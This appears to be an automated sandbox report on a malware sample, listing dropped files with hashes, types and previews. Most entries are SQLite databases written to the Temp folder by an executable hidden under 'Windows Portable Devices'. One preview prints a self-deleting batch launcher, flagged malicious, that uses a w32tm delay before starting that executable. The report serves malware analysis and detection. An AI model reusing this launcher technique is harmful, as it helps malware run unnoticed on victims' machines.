SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\00ILucwb0c

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\05djNJn3xl

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0AhObCNeTn

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0oDDS45PBP

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\13rNNOgJfO

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\18Lm56oMT0

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1ijf6VjqLE

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1noPMW8apK

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1np6UOwbXu

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1vXS5kIKs4

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1wg5GdtzdR

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2XkOsPEera

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\36OR7pWRCZ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3g0TuYlaoJ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3oH93Lz9Rt

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3w3w6Gzwnj

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\46FAiS0S6O.bat

Download File

Process:	C:\Users\user\Desktop\fDTPlvsGfH.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	5.304987329357597
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DEimKQkSfHwKOZG1wkn23fo2Hn:HTg9uYDEi9wHqfggn
MD5:	37283AA146CE5C24EA74AD19D69795E8
SHA1:	A0E6F40B057BBE709E3992A427FB2A88C23E10D7
SHA-256:	0EE6AC2B841BE2992D9BC1DEC575DACEE3B2FB7EC3EE648D2D676B3644B0202F
SHA-512:	2DEAAFBAE91A95010FE6078D46A1731A354D4CF9B2ECC9C9B67B0B09FF4D869578BCB7AD9E8B01BB14EDF618B5476E39623D1C7CF27432FDF9ADE6A43CE57BCC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\46FAiS0S6O.bat"

C:\Users\user\AppData\Local\Temp\4C9aah5CYi

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4jCFTRTmtJ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4kb0kf2681

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4njQIsdJnG

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4odbPobOBj

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4rE8D7VXOO

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5459z1vW7M

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\55cJTXDM9L

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5Gn96fmNUb

Download File

